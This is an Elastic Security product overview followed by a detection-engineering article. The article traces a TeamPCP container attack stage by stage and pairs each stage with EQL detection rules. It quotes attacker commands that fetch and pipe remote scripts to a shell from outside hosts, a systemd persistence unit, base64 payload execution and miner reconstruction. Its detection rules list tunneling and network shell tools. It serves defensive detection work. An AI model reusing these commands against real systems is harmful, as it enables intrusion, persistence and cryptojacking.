As activity occurs, Elastic Defend captures system events including process execution, file changes, network connections, and related artifacts. This telemetry forms the foundation for broader investigations, allowing analysts to correlate endpoint behavior with activity across workloads, identities, and other systems.

Multiple detection layers protect against malware, ransomware, fileless techniques, and other malicious behaviors, using both static and behavioral analysis. Independent validation from the AV-Comparatives Business Security Test confirms Elastic’s effectiveness; in the 2025 test cycle, Elastic Security was the only vendor that blocked every tested threat, earning perfect scores in both Real-World Protection and Malware Protection.

Elastic also takes a principled approach to openness. Unlike many endpoint security tools that operate as a black box, Elastic publishes detection and prevention logic in an open repository. This transparency lets analysts understand how protections work, validate them in their own environments, and prioritize high-risk gaps. By empowering users with visibility and insight, Elastic ensures security teams can act with confidence and maximize the value of their investigations.

Beyond the endpoint: expanding the investigation

Attacks rarely stay confined to a single host. Credentials may be compromised, workloads modified, or activity spread across cloud services and infrastructure. To fully understand an incident, analysts need to correlate endpoint activity with signals from the broader environment.

Elastic Security XDR enables this by bringing multiple data sources into the same analysis environment through hundreds of integrations with popular security tools and data sources. Endpoint telemetry,whether collected by Elastic Defend or another EDR platform, can be analyzed alongside cloud activity, identity events, network telemetry, and third-party logs, without forcing organizations into a closed security stack. Elastic provides the common schema and unified detection engine required to normalize disparate signals, allowing analysts to bypass manual data mapping and immediately pivot between sources to follow how activity moves across users, systems, and infrastructure.

Centralized detection rules operate across the unified dataset in the security platform, complementing real-time protections that run directly on the endpoint. They enable alerts to reflect correlated activity across multiple domains. Suspicious process activity on a host can be matched with identity events, cloud API calls, or network behavior, helping analysts determine whether an event is isolated or part of a larger attack chain.

Container workloads highlight another way XDR extends investigations. Elastic Defend for Containers monitors runtime behavior inside containerized environments, detecting suspicious activity such as unexpected process execution, privilege escalation, or access to sensitive resources. By connecting endpoint behavior to the broader environment, Elastic Security XDR gives analysts the visibility needed to scope incidents accurately, prioritize critical threats, and respond with confidence.

Reconstructing the attack path

After relevant telemetry is collected, analysts need to piece together what happened and how the attack progressed. Investigations involve pivoting between events, validating hypotheses, and assembling a complete timeline of activity across the environment.

Elastic Security XDR provides investigation tools designed to support this process. Visual Event Analyzer, Session View, and Timeline allow analysts to explore relationships between events, trace execution chains, and correlate activity across datasets while maintaining investigative context.

Visual Event Analyzer offers a graphical view of process relationships, helping analysts spot suspicious parent-child behavior and understand execution flows. Session View reconstructs activity within a process session, showing commands, network connections, and other actions as they unfolded. Timeline acts as an investigative workspace where analysts collect and correlate events from multiple sources, refine queries, and build a coherent attack narrative.

Together, these tools help analysts validate hypotheses faster, deepen analysis, and enable more confident response decisions.

Agentic investigation: discovery, summarization, and natural language querying

Elastic Security’s AI-driven investigative workflows help analysts keep pace with modern attacks by accelerating investigation and surfacing connected activity across the environment. Attack Discovery identifies connected alerts across endpoints, workloads, cloud services, and integrated third-party data, helping analysts uncover hidden attack chains without manually correlating events.

Once an investigation is underway, Elastic AI Assistant and Agent Builder enable natural-language workflows that let analysts interact with data and automation more efficiently. Analysts can summarize observations, ask questions about entities and activity, and move seamlessly from supporting signals to containment or remediation actions. With the introduction of agent skills, teams can now extend these workflows with reusable, task-specific capabilities, such as alert triage, rule management, and case handling, allowing the assistant to execute complex, multi-step security tasks with the same consistency and repeatability as traditional automation, but through a conversational interface.

In practice, these capabilities reduce the time from an initial alert to full incident understanding, allowing SOC teams to respond faster, focus on high-priority threats, and act with confidence.

Built-in forensics and host artifact collection

During incident response, investigators often need to retrieve additional host artifacts to confirm attacker behavior, identify persistence, or validate user activity.

Elastic Security XDR includes built-in forensic capabilities that allow responders to collect investigative artifacts directly from affected hosts, reducing the need for separate forensic tooling during common investigative tasks. Elastic Defend supports capturing memory snapshots for deeper forensic analysis, while Osquery Manager enables analysts to run targeted queries to gather and examine host artifacts as part of an investigation.

Forensic visibility is further extended through ongoing collaboration with Osquery. By extending Osquery-based forensics with supplemental tables for common investigative artifacts, Elastic helps uncover evidence such as browser history, AMCache records, and jumplist artifacts. These sources make it easier for analysts to examine user activity and execution history on Windows systems during an investigation. Also available is library of prebuilt forensic queries and packs to extract common investigative artifacts across Windows, macOS, and Linux, including:

• process listings and execution context
• scheduled tasks, startup items, and persistence mechanisms
• shell history and command execution artifacts
• network configuration and connectivity context
• file hashes and other execution-related artifacts

These capabilities turn artifact collection into an embedded step of the investigation, rather than a separate workflow, so teams can confirm what happened all in one platform and act sooner.

Response actions that keep investigations moving

Once investigators confirm malicious behavior, the priority shifts to containment and remediation. Elastic Security XDR enables analysts to take immediate action directly from the investigation context, isolating a host, terminating suspicious processes, collecting a file from the endpoint, or running a response script to collect additional evidence needed to complete the analysis.

For organizations using third-party EDRs, Elastic Security XDR can orchestrate containment and response across mixed environments, allowing teams to keep investigation, enforcement, and incident record-keeping anchored in a single platform.

Controlling removable media with Device Control

Investigations often uncover risk paths beyond traditional malware, such as removable media usage or potential USB-based exfiltration. Elastic Security XDR’s Device Control capabilities let teams manage and enforce removable media policies across endpoints, reducing attack surface and preventing unauthorized data transfer.

Device Control also allows teams to automatically block USB devices and maintain a trusted set of approved devices, ensuring policies are enforced consistently across all endpoints.

Scaling response with Elastic Workflows

Incident response often follows repeatable steps. When an alert fires, teams enrich it, gather evidence, contain affected hosts, open cases, notify responders, and document decisions, ensuring investigations persist across handoffs and shift changes.

Elastic Workflows gives teams a way to encode those steps as a reusable playbook that runs inside the Elastic platform. Workflows are defined declaratively in YAML in Kibana, and can be triggered in multiple ways: when a Kibana alerting rule fires, on a schedule, or manually on demand.

From there, a workflow can execute a sequence of steps that look a lot like what an analyst would do manually:

• Query Elastic data (including ES|QL), transform results, and branch based on conditions
• Create or update a Case, attach supporting context, and keep an auditable record of what was collected and why.
• Notify downstream systems (Slack, Jira, PagerDuty, and other services) using connectors you’ve already configured, or call internal/external APIs via HTTP steps.

This becomes especially impactful when paired with endpoint response capabilities. When an alert fires, teams can automatically isolate the host and kick off a standardized evidence bundle - capture a memory dump, collect a suspicious file (get-file), and list running processes - so responders have what they need immediately.

The net effect is faster execution of the first steps in incident response, while investigations follow consistent playbooks across analysts and shifts. Instead of relying on memory and manual checklists, Workflows helps enforce a repeatable investigation standard and makes it easier to scale response when alert volume spikes.

Elastic Security Labs - Research that powers real-world defenses

Elastic Security is informed by the work of Elastic Security Labs, a team dedicated to studying real adversary behavior and translating those findings into practical detection and investigation guidance. Threat Command tracks emerging techniques, malware activity, and endpoint tradecraft, then turns that research into updates that matter in day-to-day security operations: new and refined detection rules, improvements to prevention logic, and clearer guidance on how to investigate what you’re seeing.

Elastic Security Labs also publishes technical write-ups and analyses to help the broader community understand how threats operate in the wild. For defenders, that research provides useful context behind detections - why a technique matters, what evidence to look for, and how to scope impact once an alert fires.

Tying it all together

As a core capability of our agentic security operations platform, Elastic Security XDR unifies traditionally siloed defenses to tackle the speed and complexity of modern threats. An initial host-based signal can quickly spread across endpoints, identities, and cloud services. Agentic workflows and agent skills help analysts investigate and respond at machine speed. Analysts no longer need to stitch together disconnected tools - they can follow attacker activity throughout the environment, combining endpoint prevention with autonomous investigative and response capabilities in a single platform.

Learn More

Visit elastic.co/security/xdr to learn more. Try a free Elastic Security trial, explore Elastic Defend with our Getting Started video, or practice with real malware at ohmymalware.com.

In the previous article, we examined how Defend for Containers (D4C) is deployed, how its policy model operates, and how its runtime telemetry is structured. With that foundation in place, the next step is to move from configuration and field analysis to applied detection engineering.

This post walks through a realistic container attack scenario based on the TeamPCP cloud-native ransomware operation, as documented by Flare. Rather than analyzing isolated techniques in abstraction, we follow the attack as it unfolds inside a containerized environment and examine how each stage manifests in D4C telemetry.

When mapped to MITRE ATT\&CK, the activity in this scenario spans nearly the entire attack lifecycle. The intrusion progresses from execution and discovery inside the container to persistence, lateral movement, command-and-control activity, and ultimately impact.

By mapping these behaviors to concrete detection logic, this article demonstrates how D4C enables detection engineers to identify container compromise not as isolated suspicious commands, but as part of a structured attack chain.

TeamPCP - an emerging force in the cloud native and ransomware landscape

This scenario walks through the container compromise and propagation stage of the TeamPCP cloud-native ransomware operation, recently researched and documented by Flare. Rather than treating this as an abstract case study, the flow below mirrors how the attack plays out in practice and shows how D4C telemetry and pre-built detections surface each stage of the intrusion.

At a high level, the threat actor’s objectives in this stage are:

1. Gain interactive code execution inside a container
2. Determine whether the workload runs in Kubernetes
3. Establish durable execution and persistence
4. Propagate laterally across pods and nodes
5. Prepare the environment for large-scale monetization (mining, ransomware, or resale)

Each of these goals leaves behind observable runtime behavior that D4C is well-positioned to detect.

Stage 1 – Initial execution via download and pipe-to-shell

The attack begins with a familiar but effective technique: downloading and immediately executing a script via a shell pipeline.

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

The intent here is to gain immediate execution while avoiding file creation. This is a classic tradecraft choice: no payload written to disk, no obvious artifact to scan.

From D4C's perspective, this still results in a highly suspicious runtime pattern. An interactive curl process executes inside a container and immediately spawns a shell interpreter. The parent–child relationship, command line, and container context are all captured.

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

This rule detects the download → interpreter execution pattern, even when no file is written to disk. Detecting this step is critical, as it is the first reliable indicator of hands-on-keyboard activity within a container.

Upon execution, TeamPCP scans the target system for competing mining processes and uses the pkill command to terminate them.

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

The competitor-killing logic from TeamPCP is very limited in comparison to its competitors, focusing only on xmrig. Manual process killing in containers is uncommon, especially when done via interactive processes.

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

The detection rules that triggered in this stage are available here:

• Payload Execution via Shell Pipe Detected by Defend for Containers
• Process Killing Detected via Defend for Containers

Resulting in the following detection alerts upon initial access:

Stage 2 – Kubernetes environment discovery

After gaining execution, the attacker checks whether the container is running inside Kubernetes by testing for a service account token:

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

This check determines whether the attack can expand beyond the current container. If the token exists, the attacker proceeds to abuse the Kubernetes API. Additionally, the dropped scripts enumerate environment variables and several sensitive file locations, triggering numerous discovery-related alerts.

The detection rules that triggered in this stage are available here:

• Service Account Namespace Read Detected via Defend for Containers
• Environment Variable Enumeration Detected via Defend for Containers
• Service Account Token or Certificate Read Detected via Defend for Containers

Resulting in the following detection alerts upon discovery:

Stage 3 – Lateral movement via kube.py

When a service account token is present, the attacker downloads and executes a Python script designed to enumerate pods and execute commands across the cluster:

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

At this point, the attacker’s goal is clear: turn a single compromised container into a foothold for cluster-wide propagation using legitimate Kubernetes APIs.

D4C detects this stage through a combination of file and process telemetry. A script is written to a temporary directory and executed immediately via an interpreter, all within an interactive container session.

Detecting an interactive curl command that pulls a file from a remote source is a strong detection signal for stale container workloads.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

The detection rule above detects the remote file download, but we can go one step further by detecting a sequence for file creation, followed by its execution within the same container context:

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

Here, we focus on interactive processes while excluding files created by package managers, since we expect those to be present in typical workloads.

The detection rules that triggered in this stage are available here:

• File Creation and Execution Detected via Defend for Containers
• File Download Detected via Defend for Containers

Resulting in the following detection alerts upon lateral movement:

Stage 4 – Establishing persistence via Systemd

Persistence mechanisms such as systemd services are generally illogical in container environments. Most containers are designed to be short-lived, single-process workloads that rely on the container runtime or orchestrator for lifecycle management. They typically do not run a full init system, and even when systemd is present, changes made inside the container rarely survive redeployment, rescheduling, or image rebuilds.

As a result, attempts to establish persistence via systemd from within a container are a strong indicator of an anomaly. They often indicate one of two things: either the container is running with elevated privileges and access to the host filesystem, or the attacker expects to escape the container boundary and have their persistence mechanism take effect at the node level.

In the TeamPCP campaign, the attacker attempts to establish persistence by creating a systemd service:

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

This action is not consistent with normal container behavior. Writing systemd unit files from inside a container suggests an intent to persist beyond the container lifecycle, which is only meaningful if the underlying host is affected.

D4C captures this behavior as file creation activity in sensitive system locations originating from a container context. The following detection logic looks for write-oriented file activity in common Linux persistence paths, including systemd services, timers, cron jobs, sudoers files, and shell profile modifications:

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
       "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

This detection does not focus solely on systemd. Instead, it models persistence more broadly by covering multiple common Linux persistence vectors that attackers may attempt once code execution is achieved. By explicitly excluding package managers, the rule reduces noise from legitimate update and installation activity.

The detection rule that triggered in this stage is available here:

• Modification of Persistence Relevant Files Detected via Defend for Containers

Resulting in the following detection alerts upon persistence:

When this detection fires in a container context, it is a strong indicator of post-compromise behavior with potential host-level impact. It highlights activity that is not only suspicious but also structurally incompatible with how containers are expected to behave.

Stage 5 – Installing tooling at runtime

In Docker-based deployments, the attacker installs required tooling dynamically:

apk add --no-cache curl bash python3

This allows the same payload to run across different base images without modification.

From a defender’s perspective, runtime package installation inside a container is a strong indicator of post-deployment tampering. D4C detects this through process execution telemetry tied to known package managers.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

Not all package installations in containers are malicious. Upon orchestration, containers need to install certain packages to run. However, because threat actors often use package managers to install their required tooling, this is a strong signal for already-deployed container runtimes.

The detection rule that triggered in this stage is available here:

• Tool Installation Detected via Defend for Containers

Resulting in the following detection alerts upon tool installation:

Stage 6 – Establishing tunneling and proxy access

Once stable execution and persistence are in place, TeamPCP shifts focus from access to connectivity. At this stage, the attackers deploy tunneling and proxy tooling such as frps and gost to expose internal services and maintain reliable external access.

The purpose of this step is to convert compromised containers into reusable infrastructure. By establishing tunnels or forwarders, the attackers can pivot into other environments, relay traffic, or reuse the compromised workload as part of a larger attack chain.

D4C detects this activity through process execution telemetry. The execution of known tunneling tools inside containers is uncommon for legitimate workloads and stands out clearly when combined with interactive execution and container context.

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

There are many tunneling and port forwarding tools available on Linux systems. The umbrella rule displayed above leverages a combination of regex, process names, and process arguments to detect commonly observed tunneling activity.

The detection rule that triggered in this stage is available here:

• Tunneling and/or Port Forwarding Detected via Defend for Containers

Resulting in the following detection alerts upon tunneling and proxy access:

Detecting tunneling is important because it often marks the transition from short-lived compromise to sustained attacker presence. When correlated with earlier stages, it provides strong confirmation of intentional, ongoing abuse rather than opportunistic execution.

Stage 7 – Encoded payload execution

To obscure payload logic, the attacker executes a base64-encoded payload directly via Python:

python3 -c "exec(base64.b64decode('<payload>').decode())"

This technique reduces visibility into the payload itself but introduces distinctive execution characteristics: encoded arguments passed directly to an interpreter in an interactive session.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

There are many ways to decode a payload, but the umbrella rule shown above captures the most commonly observed techniques.

The detection rules that triggered in this stage are available here:

• Encoded Payload Detected via Defend for Containers
• Suspicious Interpreter Execution Detected via Defend for Containers
• Decoded Payload Piped to Interpreter Detected via Defend for Containers

Resulting in the following detection alerts upon execution:

Stage 8 – Miner deployment and execution

Eventually, the attacker reconstructs a miner from base64, writes it to disk, makes it executable, and launches it:

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

This stage represents the shift from setup to monetization. The attacker is now actively abusing cluster resources.

As mentioned previously, D4C will detect decoding of the base64 payload using the same rule linked in the previous stage. Three other signals that are important to detect are the creation of a base64 encoded payload, file permission changes in specific directories, and execution of newly created binaries in temporary directories.

For the creation of base64 encoded payloads, an umbrella rule was created that detects the execution of a shell with echo/printf built-ins, and a whitelist of commonly abused command lines:

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

Especially for interactive processes, the following detection rule is a high signal.

The second piece of the flow relates to the file permission changes. Not all file permission changes are malicious, but detecting file permission changes to executable files in world-writeable directories via an interactive process within a container is not expected to occur frequently.

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

Note that we leverage the file and process event categories here. The reason for this is that D4C captures these changes through file events if set specifically in the policy, but by default will capture these process executions when set to detect execve calls.

The final piece of this chain relates to the execution of binaries in world-writeable locations. Most container runtimes will not execute payloads from these directories.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

Note that the rule also captures hidden process executions. This is a technique commonly observed by threat actors as well, as they may attempt to evade detection by marking processes as hidden.

The detection rules that triggered in this stage are available here:

• File Execution Permission Modification Detected via Defend for Containers
• Suspicious Echo or Printf Execution Detected via Defend for Containers
• Suspicious Process Execution Detected via Defend for Containers

Resulting in the following detection alerts upon miner deployment and execution:

Stage 9 – Escalation to Node Control

Once the attacker has a foothold inside a container and access to an overprivileged service account, the next step is to abuse the Kubernetes control plane itself. This stage moves the attack beyond a single container and into cluster-wide impact. This activity is detected via Kubernetes audit logs. The Kubernetes audit log rules surfaced by this intrusion fall into three distinct patterns.

Stage 9.1 – Reconnaissance & API Abuse

The attacker's kube.py script uses the stolen service account token to enumerate pods, secrets, and nodes across all namespaces. From Kubernetes' perspective, this looks like a single identity making a burst of API calls across multiple resource types, a pattern that maps directly to permission enumeration detection logic. The use of Python's urllib rather than kubectl is also unusual as an API client.

The detection rules that triggered in this stage are available here:

• Kubernetes Potential Endpoint Permission Enumeration Attempt Detected
• Direct Interactive Kubernetes API Request by Unusual Utilities

Resulting in the following detection alerts upon reconnaissance and API abuse:

Stage 9.2 – Privilege Escalation & Workload Manipulation

With enumeration complete, the attacker creates a privileged DaemonSet (system-monitor) and relies on the overprivileged ClusterRole that was bound to the compromised service account. Both the workload creation and the role that enabled it are flagged: the DaemonSet as a sensitive workload modification, and the ClusterRole binding as a sensitive role granting broad permissions, including pods/exec, secret access, and DaemonSet creation.

The detection rules that triggered in this stage are available here:

• Unusual Kubernetes Sensitive Workload Modification
• Kubernetes Creation or Modification of Sensitive Role

Resulting in the following detection alerts upon privilege escalation and workload manipulation:

Stage 9.3 – Node-Level Escape

The DaemonSet's pod spec is designed to break every isolation boundary a container normally provides. It requests privileged mode, attaches to the host network and PID namespace, and mounts the node's root filesystem. Each of these properties triggers a separate detection rule, and together they paint a clear picture of a container workload engineered for node escape.

The detection rules that triggered in this stage are available here:

• Kubernetes Pod Created with a Sensitive hostPath Volume
• Kubernetes Privileged Pod Created
• Kubernetes Pod Created With HostNetwork
• Kubernetes Pod Created With HostPID

Resulting in the following detection alerts upon node-level escape:

These three sub-stages also highlight a key boundary in container-focused detection. While D4C excels at observing what happens inside containers, identifying how and why those containers were created requires Kubernetes control-plane telemetry. In a follow-up “Kubernetes Detection Engineering” series, we will focus on correlating D4C runtime events with Kubernetes Audit logs to detect multi-stage attacks that span workload creation, privilege escalation, and node-level impact.

For anyone already familiar with Kubernetes audit logs or interested in learning more about them, we have several prebuilt detection rules available that leverage the Kubernetes audit log framework in our GitHub detection-rules repository.

Stage 10 – Web Server Exploitation via React2Shell

In addition to exploiting compromised containers and Kubernetes control paths, TeamPCP also leverages direct web server exploitation to gain shell access on exposed services. One of the techniques referenced in related campaigns is React2Shell, where vulnerable web applications are abused to achieve remote command execution and drop into an interactive shell.

The attacker’s objective here is straightforward: expand access beyond Kubernetes workloads and increase the number of entry points into the environment. Web-facing services are often less strictly isolated than containers and can provide a fast path to host-level compromise if left unpatched.

From a detection standpoint, this activity is already well covered. Elastic provides an umbrella web server exploitation detection that flags suspicious command execution patterns originating from web server processes. In addition, multiple host-based Linux detections identify post-exploitation behavior following successful web shell access, such as unexpected shell execution, command interpreters launched by web services, and follow-on tooling execution.

Detecting this stage is important because it represents an alternative ingress path that bypasses container-specific defenses entirely. When correlated with earlier D4C detections, React2Shell-style exploitation helps confirm that the attacker is actively pursuing multiple avenues of access, increasing both blast radius and persistence potential.

The detection rule that triggered in this stage is available here:

• Web Server Exploitation Detected via Defend for Containers

Resulting in the following detection alerts upon web server exploitation:

What makes this scenario effective as a detection exercise is that every major objective of the attacker (execution, persistence, propagation, and monetization) manifests as runtime behavior inside containers. D4C's ability to observe that behavior in context allows detection engineers to follow the attack as it unfolds, rather than discovering it only after the damage is done.

Tying It All Together with Attack Discovery

Running individual detection rules across container runtime and Kubernetes audit telemetry produces dozens of alerts, each highlighting a single suspicious action in isolation. A defender reviewing these one by one would see a privileged pod here, a curl | bash there, and a burst of API enumeration somewhere else. The challenge is not generating alerts; it is recognizing that these 130+ signals are all part of the same operation.

This is where Attack Discovery comes in. Attack Discovery is Elastic's generative AI capability that ingests a set of alerts and automatically correlates them into coherent attack narratives. Rather than forcing an analyst to manually pivot between individual alerts, it identifies which signals belong together and maps them to the MITRE ATT\&CK framework, producing a single, readable summary of what happened.

When pointed at the alerts generated by this simulation, Attack Discovery correctly reconstructed the full TeamPCP kill chain as a “Container Cryptojacking Attack Chain”. The summary identified:

• Initial Access: Web server exploitation on the victim node, where busybox spawned from python3.11 and executed reconnaissance commands (id, whoami, uname -a, cat /etc/passwd)
• Privilege Escalation: The system:serviceaccount:kube-system:daemon-set-controller is creating highly privileged pods with HostPID, HostNetwork, privileged mode, and sensitive hostPath volume mounts
• Defense Evasion: Competitor cryptominer cleanup via pkill -9 xmrig and pkill -9 XMRig, alongside base64-encoded Python payloads
• Tool Staging: Runtime package installation (apk, curl, bash, python3) and malicious script download via curl from the simulated C2 server
